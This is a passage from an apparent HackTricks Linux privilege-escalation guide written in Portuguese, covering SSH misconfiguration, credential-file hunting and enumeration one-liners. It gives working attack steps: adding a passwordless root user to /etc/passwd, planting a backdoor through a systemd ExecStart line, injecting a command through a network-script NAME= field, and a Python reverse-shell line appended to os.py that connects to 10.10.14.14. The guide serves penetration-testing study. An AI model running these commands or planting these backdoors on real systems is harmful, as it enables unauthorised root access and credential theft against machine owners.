tmux -S /tmp/dev_sess attach -t 0 #Attach using a non-default tmux socket
Veja Valentine box from HTB para um exemplo.
SSH
Debian OpenSSL Predictable PRNG - CVE-2008-0166
All SSL and SSH keys generated on Debian based systems (Ubuntu, Kubuntu, etc) between September 2006 and May 13th, 2008 may be affected by this bug.
Esse bug é causado ao criar uma nova ssh key nesses SO, pois apenas 32.768 variações eram possíveis. Isso significa que todas as possibilidades podem ser calculadas e tendo a ssh public key você pode procurar pela private key correspondente. Você pode encontrar as possibilidades calculadas aqui: https://github.com/g0tmi1k/debian-ssh
SSH Interesting configuration values
- PasswordAuthentication: Especifica se a autenticação por senha é permitida. O padrão é
no. - PubkeyAuthentication: Especifica se a autenticação por chave pública é permitida. O padrão é
yes. - PermitEmptyPasswords: Quando a autenticação por senha está permitida, especifica se o servidor permite login em contas com senhas vazias. O padrão é
no.
Login control files
Esses arquivos influenciam quem pode fazer login e como:
/etc/nologin: se presente, bloqueia logins de usuários não-root e imprime sua mensagem./etc/securetty: restringe onde o root pode fazer login (TTY allowlist)./etc/motd: banner pós-login (pode leak detalhes do ambiente ou de manutenção).
PermitRootLogin
Especifica se o root pode fazer login usando ssh, o padrão é no. Valores possíveis:
yes: root pode fazer login usando senha e private keywithout-passwordorprohibit-password: root só pode fazer login com private keyforced-commands-only: root só pode fazer login usando private key e se as opções de comandos forem especificadasno: não
AuthorizedKeysFile
Especifica os arquivos que contêm as chaves públicas que podem ser usadas para autenticação do usuário. Pode conter tokens como %h, que serão substituídos pelo diretório home. Você pode indicar caminhos absolutos (iniciando em /) ou caminhos relativos ao home do usuário. Por exemplo:
AuthorizedKeysFile .ssh/authorized_keys access
Essa configuração indica que, se você tentar efetuar login com a chave private do usuário “testusername”, o ssh irá comparar a public key da sua chave com as que estão localizadas em /home/testusername/.ssh/authorized_keys e /home/testusername/access
ForwardAgent/AllowAgentForwarding
SSH agent forwarding permite que você use your local SSH keys instead of leaving keys (without passphrases!) armazenadas no seu servidor. Assim, você poderá jump via ssh to a host e, a partir daí, jump to another host using a key localizada no seu initial host.
Você precisa definir essa opção em $HOME/.ssh.config assim:
Host example.com
ForwardAgent yes
Note que se Host for * toda vez que o usuário pula para uma máquina diferente, esse host poderá acessar as keys (o que é um problema de segurança).
O arquivo /etc/ssh_config pode sobrescrever estas opções e permitir ou negar esta configuração.
O arquivo /etc/sshd_config pode permitir ou negar ssh-agent forwarding com a palavra-chave AllowAgentForwarding (padrão é allow).
Se você descobrir que Forward Agent está configurado em um ambiente, leia a página a seguir, pois você pode ser capaz de abusar disso para escalate privileges:
SSH Forward Agent exploitation
Arquivos Interessantes
Arquivos de profile
O arquivo /etc/profile e os arquivos em /etc/profile.d/ são scripts que são executados quando um usuário inicia um novo shell. Portanto, se você puder escrever ou modificar qualquer um deles você pode escalate privileges.
ls -l /etc/profile /etc/profile.d/
Se algum script de perfil estranho for encontrado você deve verificá-lo em busca de detalhes sensíveis.
Arquivos Passwd/Shadow
Dependendo do sistema operacional, os arquivos /etc/passwd e /etc/shadow podem estar com um nome diferente ou pode existir um backup. Portanto, é recomendado encontrar todos eles e verificar se você consegue lê-los para ver se há hashes dentro dos arquivos:
#Passwd equivalent files
cat /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null
#Shadow equivalent files
cat /etc/shadow /etc/shadow- /etc/shadow~ /etc/gshadow /etc/gshadow- /etc/master.passwd /etc/spwd.db /etc/security/opasswd 2>/dev/null
Em algumas ocasiões, é possível encontrar password hashes dentro do arquivo /etc/passwd (ou equivalente)
grep -v '^[^:]*:[x\*]' /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null
/etc/passwd gravável
Primeiro, gere uma senha com um dos seguintes comandos.
openssl passwd -1 -salt hacker hacker
mkpasswd -m SHA-512 hacker
python2 -c 'import crypt; print crypt.crypt("hacker", "$6$salt")'
Em seguida, adicione o usuário hacker e insira a senha gerada.
hacker:GENERATED_PASSWORD_HERE:0:0:Hacker:/root:/bin/bash
Exemplo: hacker:$1$hacker$TzyKlv0/R/c28R.GAeLw.1:0:0:Hacker:/root:/bin/bash
Agora você pode usar o comando su com hacker:hacker
Alternativamente, você pode usar as seguintes linhas para adicionar um usuário dummy sem senha.
AVISO: isso pode degradar a segurança atual da máquina.
echo 'dummy::0:0::/root:/bin/bash' >>/etc/passwd
su - dummy
NOTA: Em plataformas BSD /etc/passwd está localizado em /etc/pwd.db e /etc/master.passwd, além disso o /etc/shadow é renomeado para /etc/spwd.db.
Você deve verificar se consegue escrever em alguns arquivos sensíveis. Por exemplo, você pode escrever em algum arquivo de configuração de serviço?
find / '(' -type f -or -type d ')' '(' '(' -user $USER ')' -or '(' -perm -o=w ')' ')' 2>/dev/null | grep -v '/proc/' | grep -v $HOME | sort | uniq #Find files owned by the user or writable by anybody
for g in `groups`; do find \( -type f -or -type d \) -group $g -perm -g=w 2>/dev/null | grep -v '/proc/' | grep -v $HOME; done #Find files writable by any group of the user
Por exemplo, se a máquina estiver executando um servidor tomcat e você puder modificar o arquivo de configuração do serviço Tomcat dentro de /etc/systemd/, então você pode modificar as linhas:
ExecStart=/path/to/backdoor
User=root
Group=root
Sua backdoor será executada na próxima vez que o tomcat for iniciado.
Verificar Pastas
As seguintes pastas podem conter cópias de segurança ou informações interessantes: /tmp, /var/tmp, /var/backups, /var/mail, /var/spool/mail, /etc/exports, /root (Provavelmente você não conseguirá ler a última, mas tente)
ls -a /tmp /var/tmp /var/backups /var/mail/ /var/spool/mail/ /root
Local Estranho/Arquivos Owned
#root owned files in /home folders
find /home -user root 2>/dev/null
#Files owned by other users in folders owned by me
for d in `find /var /etc /home /root /tmp /usr /opt /boot /sys -type d -user $(whoami) 2>/dev/null`; do find $d ! -user `whoami` -exec ls -l {} \; 2>/dev/null; done
#Files owned by root, readable by me but not world readable
find / -type f -user root ! -perm -o=r 2>/dev/null
#Files owned by me or world writable
find / '(' -type f -or -type d ')' '(' '(' -user $USER ')' -or '(' -perm -o=w ')' ')' ! -path "/proc/*" ! -path "/sys/*" ! -path "$HOME/*" 2>/dev/null
#Writable files by each group I belong to
for g in `groups`;
do printf " Group $g:\n";
find / '(' -type f -or -type d ')' -group $g -perm -g=w ! -path "/proc/*" ! -path "/sys/*" ! -path "$HOME/*" 2>/dev/null
done
done
Arquivos modificados nos últimos minutos
find / -type f -mmin -5 ! -path "/proc/*" ! -path "/sys/*" ! -path "/run/*" ! -path "/dev/*" ! -path "/var/lib/*" 2>/dev/null
Arquivos DB do Sqlite
find / -name '*.db' -o -name '*.sqlite' -o -name '*.sqlite3' 2>/dev/null
*_history, .sudo_as_admin_successful, profile, bashrc, httpd.conf, .plan, .htpasswd, .git-credentials, .rhosts, hosts.equiv, Dockerfile, docker-compose.yml arquivos
find / -type f \( -name "*_history" -o -name ".sudo_as_admin_successful" -o -name ".profile" -o -name "*bashrc" -o -name "httpd.conf" -o -name "*.plan" -o -name ".htpasswd" -o -name ".git-credentials" -o -name "*.rhosts" -o -name "hosts.equiv" -o -name "Dockerfile" -o -name "docker-compose.yml" \) 2>/dev/null
Arquivos ocultos
find / -type f -iname ".*" -ls 2>/dev/null
Scripts/Binários no PATH
for d in `echo $PATH | tr ":" "\n"`; do find $d -name "*.sh" 2>/dev/null; done
for d in `echo $PATH | tr ":" "\n"`; do find $d -type f -executable 2>/dev/null; done
Arquivos Web
ls -alhR /var/www/ 2>/dev/null
ls -alhR /srv/www/htdocs/ 2>/dev/null
ls -alhR /usr/local/www/apache22/data/
ls -alhR /opt/lampp/htdocs/ 2>/dev/null
Cópias de segurança
find /var /etc /bin /sbin /home /usr/local/bin /usr/local/sbin /usr/bin /usr/games /usr/sbin /root /tmp -type f \( -name "*backup*" -o -name "*\.bak" -o -name "*\.bck" -o -name "*\.bk" \) 2>/dev/null
Arquivos conhecidos que contêm senhas
Leia o código do linPEAS, ele procura vários possíveis arquivos que podem conter senhas.
Outra ferramenta interessante que você pode usar para isso é: LaZagne que é uma aplicação de código aberto usada para recuperar muitas senhas armazenadas em um computador local para Windows, Linux & Mac.
Logs
Se você conseguir ler logs, pode ser capaz de encontrar informações interessantes/confidenciais dentro deles. Quanto mais estranho o log for, mais interessante ele será (provavelmente).
Além disso, alguns “bad” configurados (backdoored?) audit logs podem permitir que você registre senhas dentro dos audit logs como explicado neste post: https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/.
aureport --tty | grep -E "su |sudo " | sed -E "s,su|sudo,${C}[1;31m&${C}[0m,g"
grep -RE 'comm="su"|comm="sudo"' /var/log* 2>/dev/null
Para ler logs, o grupo adm será realmente útil.
Arquivos Shell
~/.bash_profile # if it exists, read it once when you log in to the shell
~/.bash_login # if it exists, read it once if .bash_profile doesn't exist
~/.profile # if it exists, read once if the two above don't exist
/etc/profile # only read if none of the above exists
~/.bashrc # if it exists, read it every time you start a new shell
~/.bash_logout # if it exists, read when the login shell exits
~/.zlogin #zsh shell
~/.zshrc #zsh shell
Generic Creds Search/Regex
Você também deve verificar arquivos que contenham a palavra “password” no seu nome ou dentro do conteúdo, e também verificar por IPs e emails dentro de logs, ou regexps de hashes.
Não vou listar aqui como fazer tudo isso, mas se estiver interessado pode checar os últimos checks que linpeas realiza.
Arquivos graváveis
Python library hijacking
Se você sabe de onde um script python será executado e você pode escrever dentro dessa pasta ou pode modificar python libraries, você pode modificar a biblioteca OS e backdoorá-la (se você pode escrever onde o script python será executado, copie e cole a biblioteca os.py).
Para backdoor a biblioteca apenas adicione ao final da biblioteca os.py a seguinte linha (mude IP e PORT):
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.14",5678));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);
Logrotate exploitation
Uma vulnerabilidade em logrotate permite que usuários com permissões de escrita em um arquivo de log ou em seus diretórios pai potencialmente obtenham privilégios escalados. Isso ocorre porque logrotate, frequentemente executado como root, pode ser manipulado para executar arquivos arbitrários, especialmente em diretórios como /etc/bash_completion.d/. É importante verificar permissões não apenas em /var/log mas também em qualquer diretório onde a rotação de logs seja aplicada.
Tip
Esta vulnerabilidade afeta
logrotatena versão3.18.0e versões anteriores
Mais informações detalhadas sobre a vulnerabilidade podem ser encontradas nesta página: https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition.
Você pode explorar essa vulnerabilidade com logrotten.
Esta vulnerabilidade é muito semelhante a CVE-2016-1247 (nginx logs), então sempre que você descobrir que pode alterar logs, verifique quem está gerenciando esses logs e veja se é possível escalar privilégios substituindo os logs por symlinks.
/etc/sysconfig/network-scripts/ (Centos/Redhat)
Vulnerability reference: https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f
Se, por qualquer motivo, um usuário conseguir escrever um script ifcf-<whatever> em /etc/sysconfig/network-scripts ou conseguir ajustar um existente, então seu sistema está pwned.
Network scripts, ifcg-eth0 por exemplo, são usados para conexões de rede. Eles parecem exatamente com arquivos .INI. Contudo, eles são ~sourced~ no Linux pelo Network Manager (dispatcher.d).
No meu caso, o atributo NAME= nesses network scripts não é tratado corretamente. Se você tiver espaço em branco no nome, o sistema tenta executar a parte após o espaço em branco. Isso significa que tudo após o primeiro espaço em branco é executado como root.
For example: /etc/sysconfig/network-scripts/ifcfg-1337
NAME=Network /bin/id
ONBOOT=yes
DEVICE=eth0
(Observação: o espaço em branco entre Network e /bin/id)
init, init.d, systemd e rc.d
O diretório /etc/init.d abriga scripts para System V init (SysVinit), o sistema clássico de gerenciamento de serviços do Linux. Ele inclui scripts para start, stop, restart e, às vezes, reload de serviços. Esses podem ser executados diretamente ou através de links simbólicos encontrados em /etc/rc?.d/. Um caminho alternativo em sistemas Redhat é /etc/rc.d/init.d.
Por outro lado, /etc/init está associado ao Upstart, um gerenciador de serviços mais recente introduzido pelo Ubuntu, que usa arquivos de configuração para tarefas de gerenciamento de serviços. Apesar da transição para Upstart, scripts SysVinit ainda são usados junto com configurações do Upstart devido a uma camada de compatibilidade no Upstart.
systemd surge como um gerenciador moderno de inicialização e serviços, oferecendo recursos avançados como inicialização de daemons on-demand, gerenciamento de automounts e snapshots do estado do sistema. Ele organiza arquivos em /usr/lib/systemd/ para pacotes de distribuição e /etc/systemd/system/ para modificações do administrador, simplificando o processo de administração do sistema.
Outros Truques
NFS Privilege escalation
NFS no_root_squash/no_all_squash misconfiguration PE
Escaping from restricted Shells
Cisco - vmanage
Android rooting frameworks: manager-channel abuse
Android rooting frameworks comumente interceptam um syscall para expor funcionalidades privilegiadas do kernel a um manager em userspace. Autenticação fraca do manager (por exemplo, checagens de assinatura baseadas em FD-order ou esquemas de senha fracos) pode permitir que um app local se passe pelo manager e escale para root em dispositivos já rootados. Saiba mais e detalhes de exploração aqui:
Android Rooting Frameworks Manager Auth Bypass Syscall Hook
VMware Tools service discovery LPE (CWE-426) via regex-based exec (CVE-2025-41244)
A descoberta de serviços baseada em regex no VMware Tools/Aria Operations pode extrair um caminho binário das linhas de comando dos processos e executá-lo com -v em um contexto privilegiado. Padrões permissivos (por exemplo, usando \S) podem casar com listeners staged pelo atacante em locais graváveis (por exemplo, /tmp/httpd), levando à execução como root (CWE-426 Untrusted Search Path).
Saiba mais e veja um padrão generalizado aplicável a outras stacks de discovery/monitoring aqui:
Vmware Tools Service Discovery Untrusted Search Path Cve 2025 41244
Kernel Security Protections
- https://github.com/a13xp0p0v/kconfig-hardened-check
- https://github.com/a13xp0p0v/linux-kernel-defence-map
Mais ajuda
Linux/Unix Privesc Tools
Melhor ferramenta para procurar vetores de Linux local privilege escalation: LinPEAS
LinEnum: https://github.com/rebootuser/LinEnum(-t option)
Enumy: https://github.com/luke-goddard/enumy
Unix Privesc Check: http://pentestmonkey.net/tools/audit/unix-privesc-check
Linux Priv Checker: www.securitysift.com/download/linuxprivchecker.py
BeeRoot: https://github.com/AlessandroZ/BeRoot/tree/master/Linux
Kernelpop: Enumera vulnerabilidades do kernel no Linux e macOS https://github.com/spencerdodd/kernelpop
Mestaploit: multi/recon/local_exploit_suggester
Linux Exploit Suggester: https://github.com/mzet-/linux-exploit-suggester
EvilAbigail (physical access): https://github.com/GDSSecurity/EvilAbigail
Recopilation of more scripts: https://github.com/1N3/PrivEsc
References
- 0xdf – HTB Planning (Crontab UI privesc, zip -P creds reuse)
- 0xdf – HTB Era: forged .text_sig payload for cron-executed monitor
- 0xdf – Holiday Hack Challenge 2025: Neighborhood Watch Bypass (sudo env_keep PATH hijack)
- alseambusher/crontab-ui
- https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/
- https://payatu.com/guide-linux-privilege-escalation/
- https://pen-testing.sans.org/resources/papers/gcih/attack-defend-linux-privilege-escalation-techniques-2016-152744
- http://0x90909090.blogspot.com/2015/07/no-one-expect-command-execution.html
- https://touhidshaikh.com/blog/?p=827
- https://github.com/sagishahar/lpeworkshop/blob/master/Lab%20Exercises%20Walkthrough%20-%20Linux.pdf
- https://github.com/frizb/Linux-Privilege-Escalation
- https://github.com/lucyoa/kernel-exploits
- https://github.com/rtcrowley/linux-private-i
- https://www.linux.com/news/what-socket/
- https://muzec0318.github.io/posts/PG/peppo.html
- https://www.linuxjournal.com/article/7744
- https://blog.certcube.com/suid-executables-linux-privilege-escalation/
- https://juggernaut-sec.com/sudo-part-2-lpe
- https://linuxconfig.org/how-to-manage-acls-on-linux
- https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f
- https://www.linode.com/docs/guides/what-is-systemd/
- 0xdf – HTB Eureka (bash arithmetic injection via logs, overall chain)
- GNU Bash Manual – BASH_ENV (non-interactive startup file)
- 0xdf – HTB Environment (sudo env_keep BASH_ENV → root)
- 0xdf – HTB Previous (sudo terraform dev_overrides + TF_VAR symlink privesc)
- 0xdf – HTB Slonik (pg_basebackup cron copy → SUID bash)
- NVISO – You name it, VMware elevates it (CVE-2025-41244)
- 0xdf – HTB: Expressway
Tip
Aprenda e pratique Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporte o HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.


